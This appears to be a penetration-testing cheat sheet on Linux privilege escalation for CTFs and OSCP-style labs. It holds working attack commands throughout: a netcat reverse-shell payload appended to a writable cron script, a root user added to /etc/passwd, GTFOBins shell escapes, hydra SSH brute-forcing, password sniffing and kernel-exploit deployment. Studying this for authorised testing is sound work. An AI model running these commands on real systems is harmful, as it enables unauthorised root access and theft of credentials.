Overview

This post summarizes various techniques for Linux privilege escalation, often encountered during penetration testing or CTFs like OSCP. It covers manual and automated enumeration methods, common misconfigurations, and kernel exploit strategies.

Linux Enumeration

Understanding the target system is the first step.

Manual Enumeration

Gather basic information using built-in commands:

• User & Permissions: id, cat /etc/passwd
• System Info: hostname, cat /etc/issue, cat /etc/os-release
• Kernel & Arch: uname -a
• Processes: ps aux
• Networking: ip a, route, ss -anp (active connections), ss -tlpn (TCP open ports), netstat -atnp (listening ports)
• Firewall: cat /etc/iptables/rules.v4
• Scheduled Tasks: ls -lah /etc/cron*, crontab -l, sudo crontab -l
• Installed Packages: dpkg -l (Debian/Ubuntu)
• Writable Directories: find / -writable -type d 2>/dev/null
• Mounted Filesystems: mount, cat /etc/fstab, lsblk
• Kernel Modules: lsmod, /sbin/modinfo <module_name>
• Setuid Binaries: find / -perm -u=s -type f 2>/dev/null
• Capabilities: /usr/sbin/getcap -r / 2>/dev/null

Example Scenario: Finding Credentials in .bashrc

env
cat .bashrc
# Assuming credentials found, try to switch user
su - root
whoami

# Brute-forcing SSH password if user/pass hinted
# crunch 6 6 -t Lab%%% > wordlist
# hydra -l eve -P wordlist <target_ip> -t 4 ssh -V
# ssh eve@<target_ip>

sudo -l # Check sudo permissions

# Escalate if possible
sudo -i

Monitoring for Passwords:

• Watch processes: watch -n 1 "ps -aux | grep pass"
• Sniff local traffic: sudo tcpdump -i lo -A | grep "pass"

Automated Enumeration

Tools can speed up the process.

• unix-privesc-check: Run unix-privesc-check standard > output.txt and look for warning keywords. You might need to transfer it (scp) if not present.

Exploiting Misconfigurations

Cron Script Misconfiguration (Cronjob Exploit)

If a cron job runs a script with weak permissions, you can modify it for a reverse shell.

1. Identify Cron Jobs: grep "CRON" /var/log/syslog, check /etc/crontab, /etc/cron.*/*
2. Check Script Permissions: ls -lah /path/to/script.sh
3. Modify Script: If writable, append reverse shell payload.

   # Example payload (adjust IP and port)
   echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f' >> /path/to/script.sh
   

4. Start Listener: nc -lnvp 1234 on your machine.
5. Wait for the cron job to execute.

Weak Hash in /etc/passwd

If /etc/passwd is world-writable (highly insecure!), you can add a new root user.

1. Check Permissions: ls -al /etc/passwd
2. Generate Password Hash: On the target machine: openssl passwd <your_password> (e.g., w00t) -> outputs hash (e.g., YSSyRQ853q.bE)
3. Append User:

   echo "root2:YSSyRQ853q.bE:0:0:root:/root:/bin/bash" >> /etc/passwd
   

4. Switch User: su root2 (use the password you set)

Escalation with Setuid/Capabilities

Binaries with the Setuid bit or specific capabilities run with higher privileges.

• Finding Setuid: find / -perm -u=s -type f 2>/dev/null
• Finding Capabilities: /usr/sbin/getcap -r / 2>/dev/null

Refer to GTFOBins for known exploitation methods for specific binaries.

• find (Setuid):

  find . -exec /bin/sh -p \; -quit
  

• perl (CAP_SETUID):

  perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
  

• gdb (Example):

  gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
  

Escalation with Sudo

If a user can run specific commands via sudo without a password or with known privileges, abuse them.

1. Check Sudo Permissions: sudo -l
2. Check GTFOBins: Look for the allowed commands (e.g., tcpdump, apt-get, gcc).

• tcpdump (Potential Issues): Exploits might be blocked by security modules like AppArmor. Check logs (/var/log/syslog) for denials.

  # GTFObins tcpdump example (might fail due to AppArmor/permissions)
  COMMAND='id'
  TF=$(mktemp)
  echo "$COMMAND" > $TF
  chmod +x $TF
  sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
  

• apt-get / apt:

  # Open a shell via the pager used by changelog
  sudo apt-get changelog apt
  # Inside the pager (like less), type:
  !/bin/sh
  

• gcc (via wrapper):

  # Creates a dummy file and uses sh as a wrapper
  sudo gcc -wrapper /bin/sh,-s .
  

Exploiting Kernel Vulnerabilities

Requires identifying the OS, kernel version, and architecture.

1. Gather Info: cat /etc/issue, uname -r, arch
2. Search for Exploits: Use tools like searchsploit or online resources (Exploit-DB).

   searchsploit "linux kernel <OS_Version> Local Privilege Escalation"
   # Example: searchsploit "linux kernel Ubuntu 16.04 4.4 Local Privilege Escalation"
   

3. Transfer Exploit: Use scp, wget, etc.

   # Find exploit path with searchsploit
   searchsploit -m <exploit_id.c>
   # Transfer
   scp <exploit_id.c> user@target_ip:~/
   

4. Compile & Run: On the target machine.

   gcc <exploit_id.c> -o exploit_binary -lpthread # (Flags may vary)
   ./exploit_binary
   

   • Example (CVE-2017-16995 / 45010.c): Often used for older kernels.
   • Example (PwnKit / CVE-2021-4034): Affects pkexec found in many distributions. Check if pkexec exists and has setuid (find / -name pkexec -perm -u=s 2>/dev/null). Requires cloning the exploit repo and compiling on the target.

Quick Checklist for Enumeration

When starting, quickly check these:

• cat /etc/issue, uname -a (OS/Kernel/Arch)
• sudo -l (Sudo rights)
• find / -perm -u=s -type f 2>/dev/null (Setuid binaries)
• /usr/sbin/getcap -r / 2>/dev/null (Capabilities)
• ls -al /etc/passwd (Passwd permissions)
• ls -lah /etc/cron*, crontab -l (Cron jobs)

This summary provides a starting point for exploring Linux privilege escalation vectors. Always refer to resources like GTFOBins and Exploit-DB for specific command exploits.